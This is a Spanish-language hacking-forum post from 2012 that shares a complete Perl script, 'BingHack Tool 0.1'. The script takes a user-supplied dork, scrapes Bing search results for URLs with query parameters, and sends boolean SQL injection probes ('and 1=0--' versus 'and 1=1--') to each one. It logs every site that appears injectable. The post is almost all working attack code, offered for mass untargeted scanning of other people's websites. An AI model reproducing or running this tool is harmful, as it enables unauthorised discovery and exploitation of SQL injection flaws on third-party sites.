elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Únete al Grupo Steam elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] BingHack Tool 0.1
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] BingHack Tool 0.1  (Leído 695 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] BingHack Tool 0.1
« en: 26 Mayo 2012, 16:02 »

Un simple script en perl para buscar paginas vulnerables a SQLi usando Bing.

El codigo

Código
  1. #!usr/bin/perl
  2. #BingHack Tool 0.1
  3. #Coded By Doddy H
  4.  
  5. use LWP::UserAgent;
  6.  
  7. my $nave = LWP::UserAgent->new;
  8. $nave->agent(
  9. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  10. );
  11. $nave->timeout(5);
  12.  
  13. head();
  14. print "\n\n[+] Dork : ";
  15. chomp( my $dork = <stdin> );
  16. print "\n[+] Pages : ";
  17. chomp( my $pags = <stdin> );
  18. print "\n[+] Searching ...\n";
  19. my @urls = bing( $dork, $pags );
  20. print "\n[+] Pages Found : " . int(@urls) . "\n";
  21. print "\n[+] Scanning ...\n\n";
  22.  
  23. for my $pa (@urls) {
  24.    sql($pa);
  25. }
  26. print "\n[+] Finished\n";
  27.  
  28. copyright();
  29.  
  30. sub sql {
  31.    my ( $pass1, $pass2 ) = ( "+", "--" );
  32.    my $page = shift;
  33.  
  34.    my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
  35.    my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );
  36.  
  37.    unless ( $testar1 eq $testar2 ) {
  38.        print "[+] SQLI : $page\a\n";
  39.        savefile( "sql-logs.txt", $page );
  40.    }
  41. }
  42.  
  43. sub savefile {
  44.    open( SAVE, ">>" . $_[0] );
  45.    print SAVE $_[1] . "\n";
  46.    close SAVE;
  47. }
  48.  
  49. sub bing {
  50.  
  51.    my ( $a, $b ) = @_;
  52.    for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
  53.        my $code =
  54.          toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );
  55.  
  56.        while ( $code =~ /<h3><a href="(.*?)"/mig ) {
  57.            push( @founds, $1 );
  58.        }
  59.    }
  60.    my @founds = repes( cortar(@founds) );
  61.    return @founds;
  62. }
  63.  
  64. sub repes {
  65.    my @limpio;
  66.    foreach $test (@_) {
  67.        push @limpio, $test unless $repe{$test}++;
  68.    }
  69.    return @limpio;
  70. }
  71.  
  72. sub cortar {
  73.    my @nuevo;
  74.    for (@_) {
  75.        if ( $_ =~ /=/ ) {
  76.            @tengo = split( "=", $_ );
  77.            push( @nuevo, @tengo[0] . "=" );
  78.        }
  79.        else {
  80.            push( @nuevo, $_ );
  81.        }
  82.    }
  83.    return @nuevo;
  84. }
  85.  
  86. sub head {
  87.    print qq(
  88.  
  89. @@@@   @             @    @              @        @@@@@              @
  90. @   @                @    @              @          @                @
  91. @   @                @    @              @          @                @
  92. @   @  @ @ @@   @@@@ @    @   @@@   @@@  @  @       @     @@@   @@@  @
  93. @@@@   @ @@  @ @   @ @@@@@@      @ @   @ @ @        @    @   @ @   @ @
  94. @   @  @ @   @ @   @ @    @   @@@@ @     @@         @    @   @ @   @ @
  95. @   @  @ @   @ @   @ @    @  @   @ @     @ @        @    @   @ @   @ @
  96. @   @  @ @   @ @   @ @    @  @   @ @   @ @  @       @    @   @ @   @ @
  97. @@@@   @ @   @  @@@@ @    @   @@@@  @@@  @   @      @     @@@   @@@  @
  98.                    @                                                  
  99.                @@@@                                                  
  100.  
  101. );
  102. }
  103.  
  104. sub copyright {
  105.    print "\n\n-- == (C) Doddy Hackman 2012\n\n";
  106.    <stdin>;
  107.    exit(1);
  108. }
  109.  
  110. sub toma {
  111.    return $nave->get( $_[0] )->content;
  112. }
  113.  
  114. # The End ?
  115.  


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Perl Tk] BingHack Tool 0.1 « 1 2 »
Scripting
BigBear 10 2,538 Último mensaje 28 Mayo 2012, 23:23
por BigBear
[PyQT4] BingHack Tool 0.1
Scripting
BigBear 1 1,074 Último mensaje 3 Noviembre 2012, 15:45
por Stakewinner00
[Java] BingHack Tool 0.1
Java
BigBear 0 878 Último mensaje 13 Enero 2013, 03:39
por BigBear
[Delphi] BingHack Tool 0.1
Programación General
BigBear 0 833 Último mensaje 31 Mayo 2013, 20:53
por BigBear
[Python-Android] BingHack Tool 0.1
Scripting
BigBear 2 2,156 Último mensaje 20 Septiembre 2013, 10:01
por fallout20xx
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines